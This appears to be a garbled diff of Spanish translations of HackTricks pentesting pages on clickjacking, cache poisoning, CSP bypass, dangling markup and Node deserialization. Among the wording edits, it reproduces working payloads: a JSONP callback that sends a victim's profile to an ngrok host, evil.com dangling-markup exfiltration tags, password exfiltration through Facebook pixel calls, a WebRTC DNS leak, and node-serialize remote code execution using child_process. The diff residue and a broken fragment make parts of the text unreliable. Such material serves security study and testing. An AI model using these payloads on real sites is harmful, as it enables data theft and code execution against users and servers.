Notablemente, la página **`/html/bookmarks.html`** es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
|
||||
Notablemente, la **`/html/bookmarks.html`** página es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ La ejecución de un ataque de envenenamiento de caché implica varios pasos:
|
||||
|
||||
1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
|
||||
2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
|
||||
3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
|
||||
3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
|
||||
|
||||
### Descubrimiento: Verificar encabezados HTTP
|
||||
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
|
||||
Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -192,9 +192,9 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
|
||||
|
||||
## Decepción de Caché
|
||||
|
||||
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
|
||||
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
|
||||
|
||||
Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
|
||||
Otras cosas para probar:
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
|
||||
|
||||
- **Paso 1**: Identificar solicitudes no cacheables y usarlas para monitorear cómo se manejan las URLs con posibles delimitadores.
|
||||
- **Paso 2**: Agregar sufijos aleatorios a las rutas y comparar la respuesta del servidor para determinar si un carácter funciona como delimitador.
|
||||
- **Paso 3**: Introducir posibles delimitadores antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
|
||||
- **Paso 3**: Introducir delimitadores potenciales antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores.
|
||||
|
||||
## Normalización y codificaciones
|
||||
|
||||
@ -31,22 +31,22 @@ Otros delimitadores específicos pueden encontrarse siguiendo este proceso:
|
||||
|
||||
Diferentes servidores HTTP y proxies como Nginx, Node y CloudFront decodifican los delimitadores de manera diferente, lo que lleva a inconsistencias entre CDNs y servidores de origen que podrían ser explotadas. Por ejemplo, si el servidor web realiza esta transformación `/myAccount%3Fparam` → `/myAccount?param` pero el servidor de caché mantiene como clave la ruta `/myAccount%3Fparam`, hay una inconsistencia. 
|
||||
|
||||
Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y comprobar si la respuesta de la ruta codificada provino de la respuesta en caché.
|
||||
Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y verificar si la respuesta de la ruta codificada provino de la respuesta en caché.
|
||||
|
||||
### Segmento de punto
|
||||
|
||||
La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como clave de caché.\
|
||||
La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como la clave de caché.\
|
||||
Al igual que antes, enviar este tipo de solicitudes y verificar si la respuesta se obtuvo de la caché ayuda a identificar si la respuesta a `/home/index` es la respuesta enviada cuando se solicitan esas rutas.
|
||||
|
||||
## Recursos estáticos
|
||||
|
||||
Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto podría ser porque:
|
||||
Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto puede ser porque:
|
||||
|
||||
- **La extensión**: Cloudflare siempre almacenará en caché archivos con las siguientes extensiones: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
- Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador y una extensión estática, como una solicitud a `/home$image.png` que almacenará en caché `/home$image.png` y el servidor de origen responderá con `/home`
|
||||
- **Directorios estáticos bien conocidos**: Los siguientes directorios contienen archivos estáticos y, por lo tanto, su respuesta debería ser almacenada en caché: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
- Es posible forzar a un caché a almacenar una respuesta dinámica utilizando un delimitador, un directorio estático y puntos como: `/home/..%2fstatic/something` almacenará en caché `/static/something` y la respuesta será `/home`
|
||||
- **Directorios estáticos + puntos**: Una solicitud a `/static/..%2Fhome` o a `/static/..%5Chome` podría ser almacenada en caché tal cual, pero la respuesta podría ser `/home`
|
||||
- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché, como `/robots.txt`, `/favicon.ico` y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
|
||||
- **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché como `/robots.txt`, `/favicon.ico`, y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ¿Qué es CSP?
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
Content Security Policy (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
|
||||
La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
|
||||
|
||||
@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
CSP se puede hacer cumplir o monitorear utilizando estos encabezados:
|
||||
|
||||
- `Content-Security-Policy`: Hace cumplir el CSP; el navegador bloquea cualquier violación.
|
||||
- `Content-Security-Policy-Report-Only`: Utilizado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
|
||||
- `Content-Security-Policy-Report-Only`: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
|
||||
|
||||
### Defining Resources
|
||||
|
||||
@ -92,7 +92,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
|
||||
- `'host'`: Especifica un host específico, como `example.com`.
|
||||
- `https:`: Restringe las URL a aquellas que utilizan HTTPS.
|
||||
- `blob:`: Permite que los recursos se carguen desde URL de Blob (por ejemplo, URL de Blob creadas a través de JavaScript).
|
||||
- `blob:`: Permite que los recursos se carguen desde Blob URLs (por ejemplo, Blob URLs creados a través de JavaScript).
|
||||
- `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
|
||||
- `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
|
||||
- `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros).
|
||||
@ -161,7 +161,7 @@ Carga útil funcional:
|
||||
```
|
||||
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
|
||||
|
||||
Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
|
||||
Además, incluso si pudieras subir un **código JS dentro** de un archivo usando una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
|
||||
|
||||
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
|
||||
> La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
|
||||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.**
|
||||
|
||||
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
|
||||
|
||||
@ -295,7 +295,7 @@ Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-co
|
||||
| Entidad | Dominio Permitido | Capacidades |
|
||||
| ------------------ | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
|
||||
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -341,7 +341,7 @@ Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se pue
|
||||
```
|
||||
El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, que es compatible con CSP.
|
||||
Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado en `https://example.com/scripts/react/`, lo cual es compatible con CSP.
|
||||
|
||||
∑, lo decodificarán, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
@ -361,7 +361,7 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
|
||||
|
||||
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
|
||||
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
|
||||
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
@ -370,7 +370,7 @@ Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la bas
|
||||
|
||||
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
|
||||
|
||||
Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación ilustra este proceso:
|
||||
Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -546,7 +546,7 @@ Este ataque implicaría algo de ingeniería social donde el atacante **convince
|
||||
|
||||
Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Eludir CSP restringiendo CSP
|
||||
### Bypass de CSP restringiendo CSP
|
||||
|
||||
En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
|
||||
|
||||
@ -603,7 +603,7 @@ Según la [**última técnica comentada en este video**](https://www.youtube.com
|
||||
|
||||
### Sobrecarga del búfer de respuesta de PHP
|
||||
|
||||
Se sabe que PHP **almacena en búfer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **encabezado CSP**, causando que el encabezado sea ignorado.\
|
||||
Se sabe que PHP **almacena en búfer la respuesta a 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **encabezado CSP**, causando que el encabezado sea ignorado.\
|
||||
Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el encabezado CSP no sea enviado.
|
||||
|
||||
Idea de [**este informe**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
@ -627,14 +627,14 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endp
|
||||
|
||||
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
|
||||
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
## Bypasses de Exfiltración CSP
|
||||
|
||||
Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
|
||||
|
||||
### Location
|
||||
### Ubicación
|
||||
|
||||
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
|
||||
```javascript
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP.
|
||||
|
||||
En realidad, puedes _leak_ información usando una _solicitud DNS_. Revisa este código:
|
||||
En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
|
||||
@ -1,6 +1,4 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Una configuración como:
|
||||
A configuration such as:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
||||
```
|
||||
|
||||
@ -4,8 +4,8 @@
|
||||
|
||||
## Resumen
|
||||
|
||||
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
|
||||
También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
|
||||
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
|
||||
También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
|
||||
|
||||
Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
|
||||
|
||||
@ -13,7 +13,7 @@ Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política
|
||||
|
||||
### Robando secretos en texto claro
|
||||
|
||||
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
|
||||
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, echa un vistazo a cuál podría ser más interesante usar).
|
||||
|
||||
Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
@ -109,9 +109,9 @@ if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Flujo de script engañoso 1 - Ataque de espacio de nombres HTML
|
||||
### Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML
|
||||
|
||||
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se va a compartir una información:
|
||||
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se compartirá una información:
|
||||
```html
|
||||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
||||
Share this status update with: ← Legitimate optional element of a dialog
|
||||
@ -150,7 +150,7 @@ O también puedes intentar ejecutar algún javascript:
|
||||
```
|
||||
### Abuso de Iframe
|
||||
|
||||
Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la incrustación de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
|
||||
Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la inserción de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
**Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
|
||||
|
||||
La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
|
||||
La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
|
||||
|
||||
## PHP
|
||||
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS oneliner** como en el siguiente ejemplo:
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un oneliner de JS** como en el siguiente ejemplo:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -254,7 +254,7 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
|
||||
Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; caen fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
|
||||
|
||||
A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento:
|
||||
```javascript
|
||||
@ -302,7 +302,7 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Biblioteca Cryo
|
||||
|
||||
@ -315,7 +315,7 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
|
||||
|
||||
